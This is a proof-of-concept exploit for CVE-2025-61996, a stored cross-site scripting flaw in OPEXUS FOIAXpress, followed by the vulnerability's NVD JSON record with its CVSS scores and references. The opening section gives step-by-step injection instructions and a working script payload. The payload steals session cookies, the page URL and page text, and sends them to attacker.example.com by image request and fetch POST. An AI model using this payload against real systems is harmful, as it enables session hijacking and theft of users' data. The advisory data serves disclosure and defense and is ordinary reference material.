CVE-2025-61996

<!-- CVE-2025-61996 PoC: OPEXUS FOIAXpress Stored XSS in Annual Report Template --> <!-- Step 1: Login to FOIAXpress admin panel as an administrator --> <!-- Step 2: Navigate to Annual Report Template configuration --> <!-- Step 3: Inject the following malicious payload into the template field: --> <script> // Steal session cookies and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.example.com/steal?c=' + encodeURIComponent(cookie); // Alternatively, exfiltrate sensitive page content var data = { cookies: document.cookie, url: window.location.href, content: document.body.innerText.substring(0, 500) }; fetch('https://attacker.example.com/exfil', { method: 'POST', body: JSON.stringify(data) }); </script> <!-- Step 4: Save the template --> <!-- Step 5: When any user generates an Annual Report, the script executes in their browser context -->

{"cve": {"id": "CVE-2025-61996", "sourceIdentifier": "9119a7d8-5eab-497f-8521-727c672e3725", "published": "2025-10-08T00:15:33.890", "lastModified": "2025-10-22T14:45:18.763", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OPEXUS FOIAXpress before 11.13.3.0 allows an administrative user to inject JavaScript or other content within the Annual Report Template. Injected content is executed in the context of other users when they generate an Annual Report. Successful exploitation allows the administrative user to perform actions on behalf of the target, including stealing session cookies, user credentials, or sensitive data."}], "metrics": {"cvssMetricV40": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 0.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "baseScore": 4.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.7, "impactScore": 2.7}]}, "weaknesses": [{"source": "9119a7d8-5eab-497f-8521-727c672e3725", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opexustech:foiaxpress:*:*:*:*:*:*:*:*", "versionEndExcluding": "11.13.3.0", "matchCriteriaId": "7077A02D-D6F5-4E4E-B6A4-E2D8AFBF8EAC"}]}]}], "references": [{"url": "https://docs.opexustech.com/docs/foiaxpress/11.13.0/FOIAXpress_Release_Notes_11.13.3.0.pdf", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Release Notes"]}, {"url": "https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2025/va-25-280-01.json", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}, {"url": "https://www.cve.org/CVERecord?id=CVE-2025-61996", "source": "9119a7d8-5eab-497f-8521-727c672e3725", "tags": ["Third Party Advisory"]}]}}